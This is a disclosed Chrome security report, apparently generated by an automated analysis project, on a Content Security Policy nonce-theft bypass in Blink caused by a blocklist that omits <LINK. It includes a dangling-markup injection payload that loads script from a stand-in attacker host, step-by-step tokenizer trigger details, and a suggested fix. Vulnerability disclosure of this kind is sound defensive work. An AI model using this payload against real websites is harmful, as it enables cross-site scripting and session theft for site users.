Policy bypass in Content Security Policy (CVE-2026-11264)
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 58 days
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the security team.
Overview: The IsNonceableElement function in Blink's CSP implementation fails to include <LINK in its blocklist of forbidden attribute substrings. This allows an attacker to use a dangling markup injection to swallow a subsequent valid <link> tag and steal its nonce. If the site shares nonces between script-src and style-src, this can bypass CSP and lead to Cross-Site Scripting (XSS).
Affected files:
third_party/blink/renderer/core/frame/csp/content_security_policy.cc
Estimated timestamp from git blame: 2026-02-16
Summary
There is a potential vulnerability in how Blink enforces Content Security Policy (CSP) nonces against dangling markup injections. The function ContentSecurityPolicy::IsNonceableElement, which is designed to prevent injected tags from stealing nonces from legitimate tags, contains an incomplete blocklist. It blocks attributes containing <SCRIPT or <STYLE, but fails to block <LINK. This allows an attacker to hijack a nonce from a <link> tag, bypassing CSP if the nonce is shared with script-src.
Technical Details
When the HTML tokenizer encounters an unclosed tag, it can absorb subsequent markup into the unclosed tag as attributes. This is a known vector for stealing attributes like nonces.
To mitigate this, third_party/blink/renderer/core/frame/csp/content_security_policy.cc implements IsNonceableElement. Before returning a nonce for CSP evaluation, it scans all attribute names and values of an element. If any contain the substrings <SCRIPT or <STYLE (case-insensitive), it assumes the element is the result of a dangling markup injection and ignores the nonce.
// content_security_policy.cc:241-249
static const char kScriptString[] = "<SCRIPT";
static const char kStyleString[] = "<STYLE";
for (const Attribute& attr : element->Attributes()) {
const AtomicString& name = attr.LocalName();
const AtomicString& value = attr.Value();
if (name.FindIgnoringAsciiCase(kScriptString) != kNotFound ||
name.FindIgnoringAsciiCase(kStyleString) != kNotFound ||
// ...
However, this blocklist does not include <LINK.
Attack Vector
If a page uses a shared nonce for script-src and style-src (a common practice) and contains a nonced stylesheet link, an attacker can exploit this.
Victim HTML:
<div id="injection-point">
<!-- Attacker injects: <script src=//attacker.test/x.js -->
</div>
<link rel=stylesheet nonce="abc" href=legit.css>
<script nonce="abc">/* legitimate script */</script>
Suggested Steps to Trigger: (Note: These are potential steps based on code analysis; a live Proof of Concept has not been executed).
- The attacker injects
<script src="//attacker.test/x.js"(note the trailing space and omitted closing bracket). - The
HTMLTokenizerparses thesrcattribute. It then enterskBeforeAttributeNameState. - It encounters the
<from the victim's<linktag. InkBeforeAttributeNameState, a<character triggers aParseError, but the tokenizer recovers by creating a new attribute that starts with<(html_tokenizer.cc:846). - The tokenizer enters
kAttributeNameStateand appendsl,i,n,kto the attribute name. - Subsequent parts of the victim's tag (
rel="stylesheet",nonce="abc", etc.) are parsed as further attributes of the attacker's script. - The
>from the victim's tag closes the attacker's script tag. - The resulting
HTMLScriptElementhas an attribute named<linkand the stolennonce="abc". - When the browser checks the CSP,
ScriptLoader::PrepareScriptcallsHTMLScriptElement::GetNonceForElement(), which callsIsNonceableElement. - Because
<linkis not in the<SCRIPT/<STYLEblocklist,IsNonceableElementreturnstrue. - The stolen nonce matches the
script-srcCSP directive, and the malicious script executes.
Suggested Fix
Add <LINK to the blocklist in ContentSecurityPolicy::IsNonceableElement.
static const char kScriptString[] = "<SCRIPT";
static const char kStyleString[] = "<STYLE";
static const char kLinkString[] = "<LINK";
// ... add checks for kLinkString
Evaluated with Chrome root at commit: f200f57a19490707ff8bc7aa5de3cbc443a3afad
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A low-severity XSS bug in Content Security Policy (Google Chrome). Chrome VRP made it public on 2 June 2026 as CVE-2026-11264. Fixed in version 149.0.7827.53.
About XSS
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.